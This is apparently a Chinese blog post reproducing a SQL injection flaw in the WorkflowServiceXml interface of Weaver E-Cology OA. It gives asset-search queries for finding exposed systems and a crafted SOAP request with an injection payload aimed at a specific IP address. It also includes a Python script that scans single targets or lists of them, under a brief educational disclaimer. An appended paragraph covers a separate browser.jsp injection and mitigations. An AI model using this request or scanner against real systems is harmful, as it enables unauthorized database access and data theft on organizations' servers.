【漏洞复现】E-Cology OA——WorkflowServiceXml——SQL注入

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

E-Cology OA协同商务系统是一款面向中大型组织的数字化办公产品,它基于全新的设计理念和管理思想,旨在为中大型组织创建一个全新的高效协同办公环境。其WorkflowServiceXml接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作,还有可能直接通过sql注入获取服务器权限。

漏洞复现

1)信息收集
fofa:app="泛微-OA(e-cology)"
hunter:app.name="泛微 e-cology OA"
在这里插入图片描述
当时共我赏花人,点检如今无一半。
在这里插入图片描述
2)构造数据包

POST /services/WorkflowServiceXml HTTP/1.1
Host:120.77.219.97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/>
  <soapenv:Body>
      <web:getHendledWorkflowRequestList>
        <web:in0>1</web:in0>
        <web:in1>1</web:in1>
        <web:in2>1</web:in2>
        <web:in3>1</web:in3>
        <web:in4>
            <web:string>1=1 AND 5615=5615</web:string>
        </web:in4>
      </web:getHendledWorkflowRequestList>
  </soapenv:Body>
</soapenv:Envelope>

在这里插入图片描述

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

RED = '\033[91m'
RESET = '\033[0m'
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_sql_injection(url):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36',
        'Content-Type': 'text/xml',
        'Accept-Encoding': 'gzip'
    }

    data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">
                <soapenv:Header/>
                <soapenv:Body>
                    <web:getHendledWorkflowRequestList>
                        <web:in0>1</web:in0>
                        <web:in1>1</web:in1>
                        <web:in2>1</web:in2>
                        <web:in3>1</web:in3>
                        <web:in4>
                            <web:string>1=1</web:string>
                        </web:in4>
                    </web:getHendledWorkflowRequestList>
                </soapenv:Body>
              </soapenv:Envelope>'''

    try:
        response = requests.post(f"{url.rstrip('/')}/services/WorkflowServiceXml", headers=headers, data=data, verify=False, timeout=30)
        if response.status_code == 200 and "WorkflowRequestInfo" in response.text:
            print(f"{RED}URL [{url}] 存在泛微e-cology WorkflowServiceXml SQL注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 可能不存在漏洞")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否存在泛微e-cology WorkflowServiceXml SQL注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_sql_injection(args.url)
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_sql_injection(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


西塞山前白鹭飞,桃花流水鳜鱼肥。

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
泛微OA E-Cology V9是一款常用的企业办公自动化系统,该系统的browser.jsp页面存在SQL注入漏洞SQL注入是一种常见的网络攻击技术,攻击者可以通过构造恶意的SQL语句来绕过系统的认证和授权机制,进而获取敏感数据或者对系统进行非法操作。 泛微OA E-Cology V9中的browser.jsp页面是用于显示OA系统中的个人文件夹和公共文件夹。攻击者可以在该页面中输入恶意的SQL语句,通过执行这些恶意SQL语句,攻击者可以获取到不应该被访问的数据,比如其他用户的文件,甚至可以对数据库进行修改和损坏。 为了防止SQL注入漏洞的利用,可以采取以下措施: 1. 输入过滤和验证:在服务器端对用户输入的数据进行过滤和验证,去除或转义可能包含恶意SQL代码的字符,确保只接受合法的输入。 2. 使用参数化查询:尽量使用参数化查询代替拼接SQL语句的方式,参数化查询可以预编译SQL语句,避免在拼接时引入恶意代码。 3. 限制数据库用户的权限:对数据库用户进行权限控制,确保每个用户只拥有最小必要的权限,减少攻击者利用SQL注入漏洞进行非法操作的机会。 4. 及时更新和修补漏洞:及时跟进厂商的安全通告并安装最新的补丁程序,确保系统始终处于最新的安全状态。 综上所述,泛微OA E-Cology V9中的browser.jsp页面存在SQL注入漏洞,但通过合理的安全措施和注意事项,我们可以有效地减少该漏洞被利用的风险。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值